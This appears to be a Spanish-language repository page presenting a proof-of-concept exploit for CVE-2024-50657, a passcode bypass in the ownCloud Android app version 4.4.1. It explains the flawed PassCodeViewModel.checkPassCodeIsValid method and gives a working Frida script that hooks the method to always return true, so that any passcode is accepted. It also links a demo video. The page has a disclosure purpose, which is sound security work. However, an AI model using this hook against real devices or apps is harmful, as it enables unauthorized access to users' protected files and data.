sahalll/cve-2024-50657Proporciona un exploit de prueba de concepto para CVE-2024-50657, una vulnerabilidad de control de acceso incorrecto en la aplicación Owncloud para Android, que demuestra la omisión del código de acceso mediante el enganche con Frida.
Un problema en la apk de Owncloud para Android v.4.4.1 permite a un atacante físicamente cercano escalar privilegios a través de la clase PassCodeViewModel, específicamente en el método checkPassCodeIsValid.
Control de Acceso Incorrecto
Owncloud
Owncloud android apk - 4.4.1
com.owncloud.android.presentation.security.passcode.PassCodeViewModel
La clase PassCodeViewModel en la aplicación gestiona la lógica de verificación del código de acceso. El método checkPassCodeIsValid dentro de esta clase es responsable de determinar la validez del código de acceso ingresado.
Se utiliza un script de Frida para enganchar el método checkPassCodeIsValid en la clase PassCodeViewModel. La implementación del método se modifica para que siempre devuelva verdadero, evitando la validación real del código de acceso.
El script de Frida se ejecuta mientras la aplicación está en funcionamiento. Cualquier código de acceso ingresado por el usuario será aceptado como válido, permitiendo el acceso no autorizado.
Java.perform(function() { // Locate the PassCodeViewModel class in the target application var PassCodeActivity = Java.use('com.owncloud.android.presentation.security.passcode.PassCodeViewModel');
// Hook the checkPassCodeIsValid method to modify its behavior PassCodeActivity.checkPassCodeIsValid.implementation = function(passcode) {
// Bypass the actual passcode check by always returning true return true;
};
});
Enlace del video PoC : https://drive.google.com/drive/folders/1C-ZYjYhmKRGvWs9YN51XOiAS2WxxwdQd?usp=sharing
Esta vulnerabilidad es una vulnerabilidad de omisión de seguridad del lado del cliente. Afecta a los usuarios de la aplicación que dependen de la función de código de acceso para proteger datos sensibles o restringir el acceso a ciertas funcionalidades de la aplicación. Al explotar esta vulnerabilidad, un atacante puede omitir la verificación del código de acceso y obtener acceso no autorizado a áreas de la aplicación que deberían estar protegidas, exponiendo potencialmente datos del usuario o permitiendo acciones no autorizadas dentro de la aplicación.
